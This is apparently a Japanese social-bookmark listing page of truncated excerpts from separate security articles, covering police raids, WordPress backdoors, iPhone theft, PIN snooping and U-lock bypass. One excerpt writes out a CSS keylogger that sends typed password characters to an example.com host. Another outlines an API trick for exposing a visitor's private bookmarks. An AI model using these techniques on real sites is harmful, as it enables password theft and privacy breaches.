はじめに これは、私が2018年4月に埼玉県警のサイバー警察に自宅の家宅捜索を受けた時の体験談です。 事実を出来るだけ詳細に記載致します。また、大変稚拙で恐れ入りますが私自身の正直な気持ちも一緒に書き留めています。 また、事件内容の詳細につきましては、警察に口止めされている上、私も捜査を妨害する意図などは全くなく捜査上の秘密が守られることは個人的にも大切だと理解し同意もしているので掲載しないこととします。 この記事の掲載目的は、主権者（納税者）である私以外の国民の皆様に、行政組織の1つである警察から私と同じような体験をして頂きたくないという点と、サイバー警察組織の現状を垣間見た一市民、一ITエンジニアとして私が感じたこと、体験致しましたことを皆様に共有させて頂ければと思い執筆させて頂きました。 登場人物の紹介 ここでは、少し話が長くなりますので先に登場人物をまとめさせて頂きます。 私：自営
github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[
避難訓練では、火災や地震から身を守る方法は教えてもらえるだろう。でも、もし旅先や赴任先で「銃乱射事件」に遭遇してしまったら？ 米国海兵隊歩兵下士官としての経験を持つ国際安全セキュリティ・コンサルタントが、「万が一」のときあなたの命を救うマニュアルを教えます。 2017年11月、テキサス州のバプティスト教会で起きた銃乱射事件では、日曜礼拝中の26名が亡くなった。米「ウォール・ストリート・ジャーナル」紙によると、銃声を耳にした近隣住民のジュリアス・ケッパーは、銃を手にして砲撃音がする方角へと走っていった。すると彼はそこで、武装したほかの隣人が容疑者に対峙しているのを目にしたという。 近所で働くキャリー・マテュラは、米テレビ「NBC」に対してこう話す。 「こんな小さな町で事件が起きるなんて思ってもみなかった。こういうのは大都市で起きることでしょ」
これはヤバイだろ… https://twitter.com/pamyurin/status/784694138922864640
いくら気をつけていても、不幸にして WordPress にバックドアを仕掛けられることは往々にしてあるものです。 重要なのは日々のアップデートと監視なのですが、間に合わずにやられちゃってバックドア仕掛けられることもあるでしょう。 先日リリースされた WordPress 4.5.2 でも結構重めの XSS 脆弱性の報告と修正が行われましたね。 WordPress 4.5.2 セキュリティリリース そんなわけで、ひさ～しぶりのブログはバックドア仕掛けられないようにする防衛策とソースが改変された時の対応策です。 バックドアを仕掛けられる前の防衛策 不要な php ファイルにアクセスさせない WordPress のバックドア仕掛けてくるやつの手順として多いのが、メディアアップロード機能の脆弱性とかを利用して wp-conten/uploads/ 以下に php ファイルを置いていき、そのファイルに
ソフト詳細説明 アプリケーションソフトをアンインストールするときに、アプリケーションによっては不要なファイルが削除されなかったり、正常にアンインストールできなかったりすることがあります。「Revo Uninstaller」は、いらなくなったアプリケーションをアンインストールするとき、不要なファイルやレジストリエントリを残すことなく、完全にアンインストールするためのソフトです。 また、Windowsのスタートアップ管理やWindowsツールへのアクセス、さまざまな不要ファイルの削除といった、Windows快適化機能も備えています。 【主な機能】 ・インストールされているアプリケーションを一覧表示します。 ・アプリケーションのリストからのインクリメンタルサーチができます。 ・アプリケーションがインストールされた場所やレジストリキーを開けます。 ・4種類のアンインストールモードで徹底したアンイン
クレジットカードやキャッシュカード等の暗証番号を、簡単にしかも気付かれずに盗みとれる方法が紹介され、海外で話題となっているようです。 その方法は、YouTuberのMark Rober氏によって動画(上)で公開され、わずか3日ほどで再生回数が200万回を超えるほど注目されています。 Rober氏はまず、実際に暗証番号を盗む「デモ」を行っています。 下のシーンは、よくあるドラッグストアのレジで、被害者役の女性(中央)がカードを使い、暗証番号を入力して支払いを済ませているところ。 犯罪者役のRober氏は、少し離れた場所でレジの順番を待っています。 支払を済ませた女性が立ち去ったあとのシーン。 Rober氏はiPhoneを片手に音楽を聴きながら自分の会計を済ませます。 一見すると何も怪しい様子はありませんが、この時点で既に、先ほどの女性の暗証番号を入手することに成功しています。 では、一体どう
インターネットで検索するだけで、セキュリティー対策が十分でない機器を探し出すことができることから、ハッカーの攻撃の足がかりになるとして、「闇グーグル」などと呼ばれるサイトがあります。これまで脅威と捉えられることが多かったこのサイトですが、賢く利用すれば、逆に攻撃の糸口を断ち切ることにつながると活用を呼びかける対策を、独立行政法人の情報処理推進機構がまとめました。 このサイトは、２００９年に登場した「ＳＨＯＤＡＮ」というインターネットサービスです。 定期的にインターネットを巡回しては、ネット上の住所に当たるＩＰアドレスなどを手がかりに、ネットに接続された機器の情報をデータベースに収めています。 検索できる機器はパソコンやサーバーだけでなく、オフィス機器や情報家電、さらには発電所の制御機器まで、およそ５億台に上ります。 もともと研究目的で開発されたということで、誰でも利用できます。 最大の特徴
ども！ともぞうです。 先日、iOS7.0.6へのアップデートがありましたが、これは悪意のあるウェブサイトでユーザーが入力した情報が傍受されたり、改ざんさたりする恐れのあるセキュリティ上の問題を改善するものでした。 では、iPhoneの安全性はiOSを常に最新に保っておけばよいかと言うと、これがそうでもないんですよね。設定次第では、個人情報を盗み見られたり、紛失したiPhoneを探せなくなったりする可能性もあるんです。 そんな事にならないよう、最低限 設定しておきたい５つの項目とそのままの場合の危険性についてご紹介したいと思います。 必須設定その１：パスコードもしくはTouch ID 設定していない人は少ないとは思いますが、何はともあれ必ず設定しておきたいのは”パスコード、もしくはTouch ID”です。
あなたのはてなIDとあなたの非公開はてなブックマークをもぞもぞと取得して表示させるページです。 はてなIDを持っていて、はてなブックマークにログインしている必要があります。 まず知ることは、はてなの Web API は my というキーワードが自身のユーザーIDのエイリアスになっていることです。これを利用し、ページを訪れた人のマイブックマーク全文検索APIを Cookie 認証で叩きます。ここで得られたブックマークのうち、一つの公開ブックマークの URL とタイムスタンプを覚えておきましょう。 次に、その取得した公開ブックマークの URL を使って、はてなブックマークエントリー情報取得APIを叩きます。返ってくるのは、その URL にブックマークした人の一覧です。 ここで得られたエントリーブックマークのユーザーID付きタイムスタンプと、先に得られたマイブックマークのタイムスタンプを照合する
「さっきトイレに行ったら、見覚えのあるスマホが洗面台に置きっぱなしになっていたよ」。会社の同僚にそう指摘されハッとした。手元にあるはずのスマホが無いのだ（写真1）。 メールやSNSのチェック、Webサイトの閲覧などに大活躍のスマートフォン。肌身離さず持ち歩いている人も多いだろう。記者もその1人。トイレに行くときも必ずスマホを持っていく。どうやら、手を洗うときに洗面台にスマホを置き、そのまま置き忘れてしまったようだ（写真2）。 急いでトイレに駆けつけた。だが、スマホは無かった。頭が真っ白になる。誰かに持ち去られたようだ。
【iOS7対応】iPhone盗まれた私が痛感した、盗難／紛失の際に真っ先にやるべきこと＆事前に必ずしておきたい設定まとめ
入力フォームのパスワードフィールドのパスワードを一発で表示するブックマークレットを作りました。 １．概要 ログイン時の入力パスワードをブラウザなどに記憶させて使っている人は少なくないと思います。 が、別のPCでログインしたり、パスワード変更時に前のパスワードを入力しないといけないときなど、入力していたパスワードをうっかりすっかり忘れてしまうケースもあると思います。 このブックマークレットを使えば、入力しているパスワードの内容を一発で確認することができます。 注：ご利用にあたっては、パスワードを忘れたときのみブラウザのお気に入りに登録し、確認後はすぐに削除するようにしてください。 １．ブックマークレットの使い方 以下のリンクをブックマークして、パスワードを見たいページを保存してブックマークをクリックまたは選択すれば、パスワードが表示されます。 パスワード表示 パスワード入力ページを表示します
ウォーレン・バフェットさん(94)、めっきり弱くなった日本5大商社をまだ売り逃げていなかった（むしろ買い増し検討）
U字ロックとチェーンロックは"おまじない"程度のセキュリティです。暑くても玄関は施錠を！先日あった事件でもU字ロックのみしていて、玄関の鍵はしていなかったようです。 実際に下記の動画を見てもらえばわかりますが、理屈がわかれば馬鹿みたいに簡単にロックを解錠することができます。 チェーンロックも同様で、輪ゴムを使って簡単に外せちゃうそうです。 最近はエントランスが「オートロック」のマンションが増えているため、敷地内に不審者は入ってこないだろう…と考えている人もいるようですが、そんなことは全くありません。 いくらエントランスがオートロックであろうと、なんであろうと玄関のドアは施錠をしっかりとしておくべき。特に今回の事件で被害にあわれたのは皆さん女性です。女性の一人暮らしの方は必ず施錠することをおすすめします。
Ｕ字ロック、ひもで解錠し侵入 **未遂容疑で男再逮捕 大阪府警は５日、大阪府吹田市岸部北２丁目の無職佐々木輝将容疑者（４０）＝**（ごうかん）致傷罪などで起訴＝を**未遂や窃盗容疑などで再逮捕したと発表した。女性宅の玄関ドアのＵ字型ロックを解錠、侵入したと説明しており、おおむね容疑を認めているという。 捜査１課によると、佐々木容疑者は３月下旬の未明、府内のマンションで２０代の女性会社員宅に侵入し、米１００ドル札８枚を盗み、寝ていた女性を**しようとした疑いがある。玄関はＵ字ロックだけがかかっていたが、ドアを半開きにしてＵ字ロックにひもを通すなどの手法で開けたといい、「方法はネットで調べた」と話しているという。府警が説明に基づいて解錠方法を再現したところ、開いたという。 佐々木容疑者は、１人暮らしの女性を尾行するなどし、無施錠の女性宅を狙った４件の**事件で逮捕・起訴されている。 http:
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く